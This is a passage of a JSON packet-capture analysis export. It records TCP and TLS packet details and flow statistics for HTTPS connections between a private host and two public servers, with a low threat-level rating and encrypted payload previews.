\"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5029, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371716, \"tcp_ack\": 869426388, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 43, \"timestamp\": 1782655305.379203, \"timestamp_iso\": \"2026-06-28T19:31:45.379203\", \"timestamp_human\": \"2026-06-28 19:31:45.379\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5030, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371754, \"tcp_ack\": 869426426, \"tcp_window\": 1020, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 45, \"timestamp\": 1782655305.455314, \"timestamp_iso\": \"2026-06-28T19:31:45.455314\", \"timestamp_human\": \"2026-06-28 19:31:45.455\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5031, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371754, \"tcp_ack\": 869427532, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 46, \"timestamp\": 1782655305.455957, \"timestamp_iso\": \"2026-06-28T19:31:45.455957\", \"timestamp_human\": \"2026-06-28 19:31:45.455\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5032, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371754, \"tcp_ack\": 869427532, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 49, \"timestamp\": 1782655305.801334, \"timestamp_iso\": \"2026-06-28T19:31:45.801334\", \"timestamp_human\": \"2026-06-28 19:31:45.801\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5033, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371818, \"tcp_ack\": 869428231, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 50, \"timestamp\": 1782655305.804054, \"timestamp_iso\": \"2026-06-28T19:31:45.804054\", \"timestamp_human\": \"2026-06-28 19:31:45.804\", \"size\": 164, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5034, \"ip_len\": 150, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371818, \"tcp_ack\": 869428231, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 53, \"timestamp\": 1782655306.796352, \"timestamp_iso\": \"2026-06-28T19:31:46.796352\", \"timestamp_human\": \"2026-06-28 19:31:46.796\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5035, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371928, \"tcp_ack\": 869428719, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 55, \"timestamp\": 1782655306.853607, \"timestamp_iso\": \"2026-06-28T19:31:46.853607\", \"timestamp_human\": \"2026-06-28 19:31:46.853\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5036, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371928, \"tcp_ack\": 869428859, \"tcp_window\": 1018, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 124, \"timestamp\": 1782655313.07601, \"timestamp_iso\": \"2026-06-28T19:31:53.076010\", \"timestamp_human\": \"2026-06-28 19:31:53.076\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.34\", \"ttl\": 128, \"ip_id\": 5037, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63964, \"dst_port\": 443, \"tcp_seq\": 2933371928, \"tcp_ack\": 869428859, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 17, \"PSH\": 7, \"RST\": 1}, \"packet_sizes\": [66, 54, 257, 54, 54, 212, 54, 141, 168, 92, 54, 54, 118, 54, 164, 54, 54, 54], \"inter_packet_intervals\": [0.00023603439331054688, 0.0014789104461669922, 0.921666145324707, 0.00016379356384277344, 0.2837100028991699, 0.495959997177124, 0.002421140670776367, 6.29425048828125e-05, 3.910064697265625e-05, 0.3535900115966797, 0.07611083984375, 0.0006430149078369141, 0.34537696838378906, 0.0027201175689697266, 0.992297887802124, 0.05725502967834473, 6.222403049468994], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 9.756134986877441, \"avg_packet_size\": 97.66666666666667, \"packets_per_second\": 1.8449929223212909, \"bytes_per_second\": 180.19430874671275, \"min_packet_size\": 54, \"max_packet_size\": 257, \"median_packet_size\": 54, \"avg_interval\": 0.5738902933457318, \"min_interval\": 3.910064697265625e-05, \"max_interval\": 6.222403049468994}, {\"source\": \"40.99.204.34\", \"target\": \"10.152.152.11\", \"packet_count\": 16, \"total_bytes\": 8142, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\", \"_TLSEncryptedContent\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [63964], \"first_packet\": 1782655303.319935, \"last_packet\": 1782655306.853391, \"packets\": [{\"packet_number\": 22, \"timestamp\": 1782655303.319935, \"timestamp_iso\": \"2026-06-28T19:31:43.319935\", \"timestamp_human\": \"2026-06-28 19:31:43.319\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869421592, \"tcp_ack\": 2933371154, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 25, \"timestamp\": 1782655303.321608, \"timestamp_iso\": \"2026-06-28T19:31:43.321608\", \"timestamp_human\": \"2026-06-28 19:31:43.321\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50987, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869421593, \"tcp_ack\": 2933371357, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 28, \"timestamp\": 1782655304.243009, \"timestamp_iso\": \"2026-06-28T19:31:44.243009\", \"timestamp_human\": \"2026-06-28 19:31:44.243\", \"size\": 4102, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50988, \"ip_len\": 4088, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869421593, \"tcp_ack\": 2933371357, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 30, \"timestamp\": 1782655304.243307, \"timestamp_iso\": \"2026-06-28T19:31:44.243307\", \"timestamp_human\": \"2026-06-28 19:31:44.243\", \"size\": 374, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50991, \"ip_len\": 360, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869425641, \"tcp_ack\": 2933371357, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 320, \"payload_preview\": \"1cb1378461e08fa8cea57ef35bc97e559d1965a1ec0c8f951bfdaad1929471d0641db5e7bfb0f1ff506b64f9e0665455da9c520f5e8d20840804010042a61ef4fb553cad0ee81f1fc48c9a96eb32e77b5791646f6a3354429e01f75c0606011d4c3049a8e6b3eceb4c21bc7b47af0a21bff3213e2340da3b2f47d8f2f18d54f312558cfb850cf47c60b9ca5c614f1737c03188bd44a006de660f652c578c5dd253aa290a31b4318af3f1a0ba94e22aca386197af87791dbd5c3a92aad58f81acf16db8d4faf33a1641b856f5019f9c1b2276d2ab01a41fd32527af220222df4b51cb21f48567da3c67ca7d219399da82d449beda9210b0fab397d6d686df6ddfe7fac2e18af5410f994dcc9e96ca89d74be3bbc77ccda2cb5bd6e4d9e2c587642aa91ad3e48b7a07db54e43544480f1e36b01e95dc1c8a3c0724033f0e000000\", \"payload_ascii\": \"\\u001c7a~[~U\\u0019e\\f\\u001bqd\\u001dPkdfTUR\\u000f^ \\b\\u0004\\u0001\\u0000B\\u001eU<\\u000e\\u001f\\u001f2{Wdoj3TB\\u0001\\\\\\u0006\\u0006\\u0001\\u001dL0IL!{G\\n!!>#@;/GT\\u0012U\\f|`\\\\aO\\u001771D\\u0006f\\u000fe,W]S)\\n11*8ay\\u001d\\\\:m:\\u0016AV\\u0001\\u001b\\\"v\\u0001\\u001f%'\\\"\\u0002\\\"KQ!g<g}!I\\u0010mA\\u000fMK|[d*\\u001az\\u0007T5DH\\u000f\\u001e6\\u001e\\u001c<\\u0007$\\u0003?\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 33, \"timestamp\": 1782655304.527152, \"timestamp_iso\": \"2026-06-28T19:31:44.527152\", \"timestamp_human\": \"2026-06-28 19:31:44.527\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50992, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869425961, \"tcp_ack\": 2933371515, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 34, \"timestamp\": 1782655305.0228, \"timestamp_iso\": \"2026-06-28T19:31:45.022800\", \"timestamp_human\": \"2026-06-28 19:31:45.022\", \"size\": 481, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50993, \"ip_len\": 467, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869425961, \"tcp_ack\": 2933371515, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 28, \"payload_preview\": \"1ac41fb78540941c1ee45dd8ae86140586ddd7f91eacda0b5135248f\", \"payload_ascii\": \"\\u001a\\u001f@\\u001c\\u001e]\\u0014\\u0005\\u001e\\u000bQ5$\"}, {\"packet_number\": 37, \"timestamp\": 1782655305.025549, \"timestamp_iso\": \"2026-06-28T19:31:45.025549\", \"timestamp_human\": \"2026-06-28 19:31:45.025\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50994, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869426388, \"tcp_ack\": 2933371602, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 39, \"timestamp\": 1782655305.025585, \"timestamp_iso\": \"2026-06-28T19:31:45.025585\", \"timestamp_human\": \"2026-06-28 19:31:45.025\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50995, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869426388, \"tcp_ack\": 2933371716, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 41, \"timestamp\": 1782655305.025617, \"timestamp_iso\": \"2026-06-28T19:31:45.025617\", \"timestamp_human\": \"2026-06-28 19:31:45.025\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50996, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869426388, \"tcp_ack\": 2933371754, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 42, \"timestamp\": 1782655305.379026, \"timestamp_iso\": \"2026-06-28T19:31:45.379026\", \"timestamp_human\": \"2026-06-28 19:31:45.379\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50997, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869426388, \"tcp_ack\": 2933371754, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 44, \"timestamp\": 1782655305.455095, \"timestamp_iso\": \"2026-06-28T19:31:45.455095\", \"timestamp_human\": \"2026-06-28 19:31:45.455\", \"size\": 1160, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50998, \"ip_len\": 1146, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869426426, \"tcp_ack\": 2933371754, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 47, \"timestamp\": 1782655305.455986, \"timestamp_iso\": \"2026-06-28T19:31:45.455986\", \"timestamp_human\": \"2026-06-28 19:31:45.455\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 50999, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869427532, \"tcp_ack\": 2933371818, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 48, \"timestamp\": 1782655305.801129, \"timestamp_iso\": \"2026-06-28T19:31:45.801129\", \"timestamp_human\": \"2026-06-28 19:31:45.801\", \"size\": 753, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51000, \"ip_len\": 739, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869427532, \"tcp_ack\": 2933371818, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 51, \"timestamp\": 1782655305.804068, \"timestamp_iso\": \"2026-06-28T19:31:45.804068\", \"timestamp_human\": \"2026-06-28 19:31:45.804\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51001, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869428231, \"tcp_ack\": 2933371928, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 52, \"timestamp\": 1782655306.796007, \"timestamp_iso\": \"2026-06-28T19:31:46.796007\", \"timestamp_human\": \"2026-06-28 19:31:46.796\", \"size\": 542, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51002, \"ip_len\": 528, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869428231, \"tcp_ack\": 2933371928, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 54, \"timestamp\": 1782655306.853391, \"timestamp_iso\": \"2026-06-28T19:31:46.853391\", \"timestamp_human\": \"2026-06-28 19:31:46.853\", \"size\": 194, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"40.99.204.34\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 51003, \"ip_len\": 180, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63964, \"tcp_seq\": 869428719, \"tcp_ack\": 2933371928, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 140, \"payload_preview\": \"a522a82c852fcbf259189cc196f9a854cf8e790e2cd07b6882f802d43b3fbf1213044f6a1fbb7a7abad0f1ee4a194c5aca845c67e02e9a449db78bf010bbe59f08d2841398fc685dd9f9c1f79db1e0ece79f3333effc948a5a03e1dbead103ebf3ab6a3b843a9b34718bf07cddc4eaf7ed613e9aa734a2816467dffa521fdec58cb9377882faa360d4d09a06\", \"payload_ascii\": \"\\\",/Y\\u0018Ty\\u000e,{h\\u0002;?\\u0012\\u0013\\u0004Oj\\u001fzzJ\\u0019LZ\\\\g.D\\u0010\\b\\u0013h]33Z\\u0003\\u0003j;:4q|a>4dgR\\u001f7x`\\u0006\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 16, \"PSH\": 8}, \"packet_sizes\": [66, 54, 4102, 374, 54, 481, 54, 54, 54, 92, 1160, 54, 753, 54, 542, 194], \"inter_packet_intervals\": [0.001672983169555664, 0.9214010238647461, 0.0002980232238769531, 0.2838449478149414, 0.4956479072570801, 0.0027489662170410156, 3.600120544433594e-05, 3.1948089599609375e-05, 0.3534090518951416, 0.07606911659240723, 0.0008909702301025391, 0.34514307975769043, 0.002938985824584961, 0.9919388294219971, 0.05738401412963867], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 3.5334558486938477, \"avg_packet_size\": 508.875, \"packets_per_second\": 4.528144877178654, \"bytes_per_second\": 2304.2597243742875, \"min_packet_size\": 54, \"max_packet_size\": 4102, \"median_packet_size\": 92, \"avg_interval\": 0.23556372324625652, \"min_interval\": 3.1948089599609375e-05, \"max_interval\": 0.9919388294219971}, {\"source\": \"10.152.152.11\", \"target\": \"52.97.183.194\", \"packet_count\": 18, \"total_bytes\": 1723, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63997], \"dst_ports\": [443], \"first_packet\": 1782655307.448829, \"last_packet\": 1782655313.076246, \"packets\": [{\"packet_number\": 56, \"timestamp\": 1782655307.448829, \"timestamp_iso\": \"2026-06-28T19:31:47.448829\", \"timestamp_human\": \"2026-06-28 19:31:47.448\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4492, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874356, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 58, \"timestamp\": 1782655307.449142, \"timestamp_iso\": \"2026-06-28T19:31:47.449142\", \"timestamp_human\": \"2026-06-28 19:31:47.449\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4493, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874357, \"tcp_ack\": 4213679582, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 59, \"timestamp\": 1782655307.449517, \"timestamp_iso\": \"2026-06-28T19:31:47.449517\", \"timestamp_human\": \"2026-06-28 19:31:47.449\", \"size\": 260, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4494, \"ip_len\": 246, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874357, \"tcp_ack\": 4213679582, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 62, \"timestamp\": 1782655307.847444, \"timestamp_iso\": \"2026-06-28T19:31:47.847444\", \"timestamp_human\": \"2026-06-28 19:31:47.847\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4495, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63997, \"dst_port\": 443, \"tcp_seq\": 2486874563, \"tcp_ack\": 4213681534, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 64, \"timestamp\": 1782655307.858782, \"timestamp_iso\": \"2026-06-28T19:31:47.858782\", \"timestamp_human\": \"2026-06-28 19:31:47.858\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"52.97.183.194\", \"ttl\": 128, \"ip_id\": 4496, \"ip_len\": 40, 